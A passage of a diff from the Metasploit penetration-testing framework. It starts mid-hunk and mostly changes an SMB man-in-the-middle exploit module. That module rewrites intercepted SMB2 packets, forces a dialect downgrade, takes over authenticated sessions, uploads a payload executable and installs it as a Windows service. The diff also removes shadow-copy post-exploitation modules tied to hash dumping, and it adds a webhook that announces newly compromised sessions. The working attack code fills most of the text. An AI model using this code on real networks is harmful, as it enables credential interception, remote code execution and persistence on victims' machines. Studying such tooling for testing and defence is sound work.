packet.tcp_header.tcp_seq = @sessions[packet.ip_header.ip_daddr][:seqnum]
|
||||
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
||||
packet.eth_header.eth_dst = Rex::Socket.eth_aton(@sessions[packet.ip_header.ip_daddr][:dstmac])
|
||||
packet.to_w(@interface)
|
||||
elsif @sessions[packet.ip_header.ip_daddr][:tcp_src] != packet.tcp_header.tcp_src
|
||||
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
||||
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
|
||||
packet.to_w(@interface)
|
||||
end
|
||||
else
|
||||
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
||||
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
|
||||
packet.to_w(@interface)
|
||||
end
|
||||
unless @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
|
||||
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
||||
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
|
||||
packet.to_w(@interface)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -256,18 +224,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-rst) != 0")
|
||||
c.stream.each_data do |data|
|
||||
packet = PacketFu::Packet.parse(data)
|
||||
@mutex.synchronize do
|
||||
if @sessions[packet.ip_header.ip_daddr]
|
||||
if @sessions[packet.ip_header.ip_daddr][:tcp_src] != packet.tcp_header.tcp_src
|
||||
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
||||
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
|
||||
packet.to_w(@interface)
|
||||
end
|
||||
else
|
||||
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
||||
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
|
||||
packet.to_w(@interface)
|
||||
end
|
||||
unless @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
|
||||
#puts "Forwarding RST..."
|
||||
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
||||
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
|
||||
packet.to_w(@interface)
|
||||
else
|
||||
#puts "Not Forwarding RST..."
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -359,69 +322,128 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
nss = packet.payload[0..3]
|
||||
smb2 = packet.payload[4..-1]
|
||||
# Only Parse Packets from known sessions
|
||||
@mutex.synchronize do
|
||||
if @sessions[packet.ip_header.ip_daddr] && @sessions[packet.ip_header.ip_daddr][:active] && (smb2[0..4] != "\xFFSMB")
|
||||
case smb2[11..12]
|
||||
when "\x00\x00" # Negotiate Protocol Request
|
||||
smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2)
|
||||
# Dialect Count Set To 1
|
||||
dialect = smb_packet.dialects.first
|
||||
@sessions[packet.ip_header.ip_daddr][:dialect] = dialect
|
||||
unless dialect >= 0x311
|
||||
smb_packet.dialect_count = 1
|
||||
smb_packet.dialects = [smb_packet.dialects.first]
|
||||
smb_packet.negotiate_context_list = []
|
||||
smb_packet.client_start_time = 0
|
||||
# Re-Calculate Length: (Optional...)
|
||||
# nss = [smb_packet.to_binary_s.size].pack("N")
|
||||
packet.payload = "#{nss}#{smb_packet.to_binary_s}"
|
||||
end
|
||||
when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH
|
||||
smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2)
|
||||
if (smb_packet.smb2_header.session_id != 0 ) && (@sessions[packet.ip_header.ip_daddr][:dialect] < 0x300)
|
||||
# Disable Session
|
||||
@sessions[packet.ip_header.ip_daddr][:active] = false
|
||||
@sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum]
|
||||
@sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum]
|
||||
# Start Main Thread
|
||||
@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do
|
||||
main_thread(packet: packet, dialect: @sessions[packet.ip_header.ip_daddr][:dialect], dstmac: @sessions[packet.ip_header.ip_daddr][:dstmac])
|
||||
if (smb2[0..4] != "\xFFSMB") && !@sessions.include?(packet.ip_header.ip_daddr) && !@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
|
||||
case smb2[11..12]
|
||||
when "\x00\x00" # Negotiate Protocol Request
|
||||
smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2)
|
||||
# Dialect Count Set To 1
|
||||
dialect = smb_packet.dialects.first
|
||||
#puts "Got dialect: #{dialect}"
|
||||
# TODO: We could negotiate different dialects between the server and client, but it would require a more interactive approach.
|
||||
unless smb_packet.dialects.min >= 0x300
|
||||
#puts "Minimum dialect was less then 0x300."
|
||||
begin
|
||||
if @negotiated_dialect_map[packet.tcp_header.tcp_src]
|
||||
dialect = @negotiated_dialect_map[packet.tcp_header.tcp_src]
|
||||
else
|
||||
if @confirm_server_dialect
|
||||
# Check if the server supports any SMB2 dialects
|
||||
Timeout::timeout(2.75) do
|
||||
rport = packet.tcp_header.tcp_src - (rand(42) + 42)
|
||||
@drop_packet_ip_port_mutex.synchronize do
|
||||
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = true
|
||||
end
|
||||
dispatcher = Msf::Exploit::SMB::ShadowMitmDispatcher.new(
|
||||
interface: @interface,
|
||||
mac: @mac,
|
||||
eth_src: Rex::Socket.eth_aton(@mac),
|
||||
eth_dst: Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)),
|
||||
ip_src: Rex::Socket.addr_iton(packet.ip_header.ip_src),
|
||||
ip_dst: Rex::Socket.addr_iton(packet.ip_header.ip_dst),
|
||||
tcp_src: rport,
|
||||
tcp_dst: packet.tcp_header.tcp_dst,
|
||||
tcp_seq: rand(0xdddddddd) + 0xdddddd,
|
||||
tcp_ack: 0,
|
||||
tcp_win: packet.tcp_header.tcp_win
|
||||
)
|
||||
dispatcher.send_packet(
|
||||
'',
|
||||
nbss_header: false,
|
||||
tcp_flags: { syn: 1 },
|
||||
tcp_opts: PacketFu::TcpOptions.new.encode("MSS:#{Msf::Exploit::SMB::ShadowMitmDispatcher::TCP_MSS}").to_s
|
||||
)
|
||||
dispatcher.recv_packet
|
||||
dispatcher.send_packet(
|
||||
'',
|
||||
nbss_header: false,
|
||||
tcp_flags: { ack: 1 }
|
||||
)
|
||||
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: true, smb3: false, username: '', password: '')
|
||||
client.negotiate
|
||||
dialect = client.dialect.to_i(16)
|
||||
#pp dialect
|
||||
@drop_packet_ip_port_mutex.synchronize do
|
||||
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = false
|
||||
end
|
||||
@negotiated_dialect_mutex.synchronize do
|
||||
@negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect
|
||||
end
|
||||
end
|
||||
else
|
||||
# We just assume the server supports the client's minimum dialect.
|
||||
dialect = smb_packet.dialects.min
|
||||
@negotiated_dialect_mutex.synchronize do
|
||||
@negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
when "\x00\x03" # Tree Connect Request
|
||||
smb_packet = RubySMB::SMB2::Packet::TreeConnectRequest.read(smb2)
|
||||
if smb_packet.path.include?("\\IPC$".encode("UTF-16LE")) && (@sessions[packet.ip_header.ip_daddr][:dialect] >= 0x300)
|
||||
# Disable Session
|
||||
@sessions[packet.ip_header.ip_daddr][:active] = false
|
||||
@sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum]
|
||||
@sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum]
|
||||
# Start Main Thread
|
||||
@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do
|
||||
main_thread(packet: packet, dialect: @sessions[packet.ip_header.ip_daddr][:dialect], dstmac: @sessions[packet.ip_header.ip_daddr][:dstmac])
|
||||
unless dialect >= 0x300
|
||||
original_size = smb_packet.to_binary_s.size
|
||||
smb_packet.dialects = [dialect]
|
||||
smb_packet.negotiate_context_list = []
|
||||
smb_packet.client_start_time = 0
|
||||
# Re-Calculate Length: (Optional...)
|
||||
#nss = [smb_packet.to_binary_s.size].pack("N")
|
||||
# Add more dialects while keeping the dialect count at one to pad out the message.
|
||||
((original_size - smb_packet.to_binary_s.size)/2).times {|i| smb_packet.dialects << dialect }
|
||||
smb_packet.dialect_count = 1
|
||||
packet.payload = "#{nss}#{smb_packet.to_binary_s}"
|
||||
packet.recalc
|
||||
end
|
||||
rescue Timeout::Error, Errno::ECONNREFUSED, RubySMB::Error::CommunicationError, RubySMB::Error::NegotiationFailure => e
|
||||
# We were unable to connect to the server or we were unable to negotiate any SMB2 dialects
|
||||
print_status("Confirm Server Dialect Error: #{e}")
|
||||
end
|
||||
end
|
||||
when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH
|
||||
smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2)
|
||||
if (smb_packet.smb2_header.session_id != 0 ) && (@negotiated_dialect_map[packet.tcp_header.tcp_src] && @negotiated_dialect_map[packet.tcp_header.tcp_src] < 0x300)
|
||||
# Disable Session
|
||||
#@sessions[packet.ip_header.ip_daddr][:active] = false
|
||||
@drop_packet_ip_port_mutex.synchronize do
|
||||
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true
|
||||
end
|
||||
#@sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum]
|
||||
#@sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum]
|
||||
# Start Main Thread
|
||||
@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do
|
||||
main_thread(packet: packet, dialect: @negotiated_dialect_map[packet.tcp_header.tcp_src], dstmac: getarp(packet.ip_header.ip_daddr))
|
||||
end
|
||||
end
|
||||
when "\x00\x03" # Tree Connect Request
|
||||
smb_packet = RubySMB::SMB2::Packet::TreeConnectRequest.read(smb2)
|
||||
if smb_packet.path.include?("\\IPC$".encode("UTF-16LE")) && ((@negotiated_dialect_map[packet.tcp_header.tcp_src] == nil) || @negotiated_dialect_map[packet.tcp_header.tcp_src] >= 0x300)
|
||||
#puts "Disabling Session."
|
||||
# Disable Session
|
||||
#@sessions[packet.ip_header.ip_daddr][:active] = false
|
||||
@drop_packet_ip_port_mutex.synchronize do
|
||||
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true
|
||||
end
|
||||
#@sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum]
|
||||
#@sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum]
|
||||
# Start Main Thread
|
||||
@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do
|
||||
main_thread(packet: packet, dialect: 0x300, dstmac: getarp(packet.ip_header.ip_daddr))
|
||||
end
|
||||
end
|
||||
end
|
||||
if @sessions[packet.ip_header.ip_daddr]
|
||||
if @sessions[packet.ip_header.ip_daddr][:active]
|
||||
@sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum]
|
||||
@sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum]
|
||||
packet.tcp_header.tcp_ack = @sessions[packet.ip_header.ip_daddr][:acknum]
|
||||
packet.tcp_header.tcp_seq = @sessions[packet.ip_header.ip_daddr][:seqnum]
|
||||
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
||||
packet.eth_header.eth_dst = Rex::Socket.eth_aton(@sessions[packet.ip_header.ip_daddr][:dstmac])
|
||||
packet.recalc
|
||||
packet.to_w(@interface)
|
||||
elsif @sessions[packet.ip_header.ip_daddr][:tcp_src] != packet.tcp_header.tcp_src
|
||||
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
||||
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
|
||||
packet.to_w(@interface)
|
||||
end
|
||||
else
|
||||
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
||||
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
|
||||
packet.to_w(@interface)
|
||||
end
|
||||
end
|
||||
unless @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
|
||||
#puts "Sending packet..."
|
||||
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
||||
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
|
||||
#packet.recalc
|
||||
packet.to_w(@interface)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -467,7 +489,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
if dialect >= 0x300
|
||||
tree = RubySMB::SMB2::Tree.new(client: client, share: "\\\\#{address}\\IPC$", response: smb_packet, encrypt: false)
|
||||
print_status('Regenerating the payload...')
|
||||
code = regenerate_payload
|
||||
|
||||
print_status('Uploading payload...')
|
||||
filename = rand_text_alpha(8) + '.exe'
|
||||
|
@ -494,7 +515,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
log: false
|
||||
)
|
||||
end
|
||||
sleep 5
|
||||
sleep 3
|
||||
print_status("Created \\#{filename}...")
|
||||
else
|
||||
print_status('Connecting to the defined share...')
|
||||
|
@ -532,6 +553,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
service: "%SYSTEMROOT%\\#{filename}"
|
||||
)
|
||||
|
||||
@sessions_mutex.synchronize { @sessions << address }
|
||||
sleep 0.5
|
||||
|
||||
if dialect >= 0x300
|
||||
|
@ -555,8 +577,21 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
file = tree.open_file(filename: filename, delete: true)
|
||||
file.delete
|
||||
end
|
||||
tree.disconnect!
|
||||
|
||||
=begin
|
||||
# Prevent STATUS_USER_SESSION_DELETED
|
||||
#sleep 42 <- We must use traffic to prevent the server from closing the connection
|
||||
20.times do
|
||||
sleep 2
|
||||
begin
|
||||
tree.open_file(filename: '.', read: false)
|
||||
rescue RubySMB::Error::UnexpectedStatusCode
|
||||
# Expected STATUS_ACCESS_DENIED
|
||||
end
|
||||
end
|
||||
=end
|
||||
|
||||
tree.disconnect!
|
||||
|
||||
client.disconnect!
|
||||
return true # Done.
|
||||
|
|
|
@ -28,7 +28,7 @@ class MetasploitModule < Msf::Post
|
|||
'joev'
|
||||
],
|
||||
'Platform' => [ 'osx' ],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
'SessionTypes' => %w[shell meterpreter]
|
||||
))
|
||||
register_options([
|
||||
OptRegexp.new('MATCHUSER', [false,
|
||||
|
|
|
@ -1,59 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::ShadowCopy
|
||||
|
||||
include Msf::Module::Deprecated
|
||||
deprecated(Date.new(2021, 4, 11), reason="Use post/windows/manage/vss and the VSS_CREATE action")
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Windows Manage Create Shadow Copy",
|
||||
'Description' => %q{
|
||||
This module will attempt to create a new volume shadow copy.
|
||||
This is based on the VSSOwn Script originally posted by
|
||||
Tim Tomes and Mark Baggett.
|
||||
|
||||
Works on win2k3 and later.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Author' => ['theLightCosine'],
|
||||
'References' => [
|
||||
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\'])
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
unless is_admin?
|
||||
print_error("This module requires admin privs to run")
|
||||
return
|
||||
end
|
||||
if is_uac_enabled?
|
||||
print_error("This module requires UAC to be bypassed first")
|
||||
return
|
||||
end
|
||||
unless start_vss
|
||||
return
|
||||
end
|
||||
id = create_shadowcopy(datastore['VOLUME'])
|
||||
if id
|
||||
print_good "Shadow Copy #{id} created!"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
|
@ -1,70 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::ShadowCopy
|
||||
|
||||
include Msf::Module::Deprecated
|
||||
deprecated(Date.new(2021, 4, 11), reason="Use post/windows/manage/vss and the VSS_LIST_COPIES action")
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Windows Manage List Shadow Copies",
|
||||
'Description' => %q{
|
||||
This module will attempt to list any Volume Shadow Copies
|
||||
on the system. This is based on the VSSOwn Script
|
||||
originally posted by Tim Tomes and Mark Baggett.
|
||||
|
||||
Works on win2k3 and later.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Author' => ['theLightCosine'],
|
||||
'References' => [
|
||||
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]
|
||||
]
|
||||
))
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
unless is_admin?
|
||||
print_error("This module requires admin privs to run")
|
||||
return
|
||||
end
|
||||
if is_uac_enabled?
|
||||
print_error("This module requires UAC to be bypassed first")
|
||||
return
|
||||
end
|
||||
unless start_vss
|
||||
return
|
||||
end
|
||||
|
||||
list = ""
|
||||
shadow_copies = vss_list
|
||||
unless shadow_copies.empty?
|
||||
shadow_copies.each do |copy|
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => 'Shadow Copy Data',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Field', 'Value']
|
||||
)
|
||||
copy.each_pair{|k,v| tbl << [k,v]}
|
||||
list << " #{tbl.to_s} \n\n"
|
||||
print_good tbl.to_s
|
||||
end
|
||||
store_loot(
|
||||
'host.shadowcopies',
|
||||
'text/plain',
|
||||
session,
|
||||
list,
|
||||
'shadowcopies.txt',
|
||||
'Shadow Copy Info'
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,64 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::ShadowCopy
|
||||
|
||||
include Msf::Module::Deprecated
|
||||
deprecated(Date.new(2021, 4, 11), reason = "Use post/windows/manage/vss and the VSS_MOUNT action")
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => "Windows Manage Mount Shadow Copy",
|
||||
'Description' => %q{
|
||||
This module will attempt to mount a Volume Shadow Copy
|
||||
on the system. This is based on the VSSOwn Script
|
||||
originally posted by Tim Tomes and Mark Baggett.
|
||||
|
||||
Works on win2k3 and later.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Author' => ['theLightCosine'],
|
||||
'References' => [
|
||||
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]
|
||||
],
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
stdapi_sys_process_execute
|
||||
]
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DEVICE', [ true, 'DeviceObject of Shadowcopy to mount.' ]),
|
||||
OptString.new('PATH', [ true, 'Path to mount it to.' ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
unless is_admin?
|
||||
print_error("This module requires admin privs to run")
|
||||
return
|
||||
end
|
||||
if is_uac_enabled?
|
||||
print_error("This module requires UAC to be bypassed first")
|
||||
return
|
||||
end
|
||||
unless start_vss
|
||||
return
|
||||
end
|
||||
|
||||
r = session.sys.process.execute("cmd.exe /C mklink /D #{datastore['DEVICE']} #{datastore['PATH']}", nil, { 'Hidden' => true })
|
||||
end
|
||||
end
|
|
@ -1,61 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::ShadowCopy
|
||||
|
||||
include Msf::Module::Deprecated
|
||||
deprecated(Date.new(2021, 4, 11), reason="Use post/windows/manage/vss and the VSS_SET_MAX_STORAGE_SIZE action")
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Windows Manage Set Shadow Copy Storage Space",
|
||||
'Description' => %q{
|
||||
This module will attempt to change the amount of space
|
||||
for volume shadow copy storage. This is based on the
|
||||
VSSOwn Script originally posted by Tim Tomes and
|
||||
Mark Baggett.
|
||||
|
||||
Works on win2k3 and later.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Author' => ['theLightCosine'],
|
||||
'References' => [
|
||||
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('SIZE', [ true, 'Size in bytes to set for Max Storage'])
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
unless is_admin?
|
||||
print_error("This module requires admin privs to run")
|
||||
return
|
||||
end
|
||||
if is_uac_enabled?
|
||||
print_error("This module requires UAC to be bypassed first")
|
||||
return
|
||||
end
|
||||
unless start_vss
|
||||
return
|
||||
end
|
||||
if vss_set_storage(datastore['SIZE'])
|
||||
print_good("Size updated successfully")
|
||||
else
|
||||
print_error("There was a problem updating the storage size")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
|
@ -1,70 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::ShadowCopy
|
||||
|
||||
include Msf::Module::Deprecated
|
||||
deprecated(Date.new(2021, 4, 11), reason="Use post/windows/manage/vss and the VSS_GET_INFO action")
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Windows Manage Get Shadow Copy Storage Info",
|
||||
'Description' => %q{
|
||||
This module will attempt to get volume shadow copy storage info.
|
||||
This is based on the VSSOwn Script originally posted by
|
||||
Tim Tomes and Mark Baggett.
|
||||
|
||||
Works on win2k3 and later.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Author' => ['theLightCosine'],
|
||||
'References' => [
|
||||
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]
|
||||
]
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
unless is_admin?
|
||||
print_error("This module requires admin privs to run")
|
||||
return
|
||||
end
|
||||
if is_uac_enabled?
|
||||
print_error("This module requires UAC to be bypassed first")
|
||||
return
|
||||
end
|
||||
unless start_vss
|
||||
return
|
||||
end
|
||||
|
||||
storage_data = vss_get_storage
|
||||
if storage_data
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => 'Shadow Copy Storage Data',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Field', 'Value']
|
||||
)
|
||||
storage_data.each_pair{|k,v| tbl << [k,v]}
|
||||
print_good(tbl.to_s)
|
||||
store_loot(
|
||||
'host.shadowstorage',
|
||||
'text/plain',
|
||||
session,
|
||||
tbl.to_s,
|
||||
'shadowstorage.txt',
|
||||
'Shadow Copy Storage Info'
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
|
@ -25,6 +25,7 @@ module Msf
|
|||
attr_reader :dingtalk_webhook
|
||||
attr_reader :gotify_address
|
||||
attr_reader :gotify_sslcert_path
|
||||
attr_reader :serverjang_webhook
|
||||
|
||||
def name
|
||||
'SessionNotifier'
|
||||
|
@ -44,6 +45,7 @@ module Msf
|
|||
'set_session_dingtalk_webhook' => 'Set the DingTalk webhook for the session notifier (keyword: session).',
|
||||
'set_session_gotify_address' => 'Set the Gotify address for the session notifier',
|
||||
'set_session_gotify_sslcert_path' => 'Set the path to load your Gotify SSL cert (if you want to use HTTPS)',
|
||||
'set_session_serverjang_webhook' => 'Set the ServerJiang webhook for the session notifier (keyword: session).',
|
||||
'save_session_notifier_settings' => 'Save all the session notifier settings to framework',
|
||||
'start_session_notifier' => 'Start notifying sessions',
|
||||
'stop_session_notifier' => 'Stop notifying sessions',
|
||||
|
@ -150,6 +152,17 @@ module Msf
|
|||
end
|
||||
end
|
||||
|
||||
def cmd_set_session_serverjang_webhook(*args)
|
||||
webhook_url = args[0]
|
||||
if webhook_url.blank?
|
||||
@serverjang_webhook = nil
|
||||
elsif !(webhook_url =~ URI::DEFAULT_PARSER.make_regexp).nil?
|
||||
@serverjang_webhook = webhook_url
|
||||
else
|
||||
print_error('Invalid webhook_url')
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_save_session_notifier_settings(*_args)
|
||||
save_settings_to_config
|
||||
print_status('Session Notifier settings saved in config file.')
|
||||
|
@ -181,6 +194,9 @@ module Msf
|
|||
if !gotify_address.nil?
|
||||
print_status('Gotify notification started.')
|
||||
end
|
||||
if !serverjang_webhook.nil?
|
||||
print_status('ServerJang notification started.')
|
||||
end
|
||||
rescue Msf::Plugin::SessionNotifier::Exception, Rex::Proto::Sms::Exception => e
|
||||
print_error(e.message)
|
||||
end
|
||||
|
@ -220,6 +236,7 @@ module Msf
|
|||
ini[name]['dingtalk_webhook'] = dingtalk_webhook.to_s unless dingtalk_webhook.blank?
|
||||
ini[name]['gotify_address'] = gotify_address.to_s unless gotify_address.blank?
|
||||
ini[name]['gotify_sslcert_path'] = gotify_sslcert_path.to_s unless gotify_sslcert_path.blank?
|
||||
ini[name]['serverjang_webhook'] = serverjang_webhook.to_s unless serverjang_webhook.blank?
|
||||
ini.to_file(config_file)
|
||||
end
|
||||
|
||||
|
@ -240,6 +257,7 @@ module Msf
|
|||
@dingtalk_webhook = group['dingtalk_webhook'] if group['dingtalk_webhook']
|
||||
@gotify_address = group['gotify_address'] if group['gotify_address']
|
||||
@gotify_sslcert_path = group['gotify_sslcert_path'] if group['gotify_sslcert_path']
|
||||
@serverjang_webhook = group['serverjang_webhook'] if group['serverjang_webhook']
|
||||
print_status('Session Notifier settings loaded from config file.')
|
||||
end
|
||||
end
|
||||
|
@ -315,6 +333,29 @@ module Msf
|
|||
end
|
||||
end
|
||||
|
||||
def send_text_to_serverjang(session)
|
||||
# https://sct.ftqq.com/sendkey
|
||||
uri_parser = URI.parse(serverjang_webhook)
|
||||
params = {}
|
||||
params["title"] = "You have new #{session.type} session"
|
||||
params["desp"] = "OS:#{session.platform}, tunnel:#{session.tunnel_to_s}, Arch:#{session.arch}"
|
||||
http = Net::HTTP.new(uri_parser.host, uri_parser.port)
|
||||
http.use_ssl = true
|
||||
|
||||
res = Net::HTTP::post_form(uri_parser,params)
|
||||
if res.nil? || res.body.blank?
|
||||
print_error("No response received from the ServerJang server!")
|
||||
return nil
|
||||
end
|
||||
|
||||
begin
|
||||
body = JSON.parse(res.body)
|
||||
print_status((body["code"] == 20001) ? 'Failed to send notification.' : 'Session notified to ServerJang.')
|
||||
rescue JSON::ParserError
|
||||
print_error("Couldn't parse the JSON returned from the ServerJang server!")
|
||||
end
|
||||
end
|
||||
|
||||
def notify_session(session, subject, msg)
|
||||
if in_range?(session) && validate_sms_settings?
|
||||
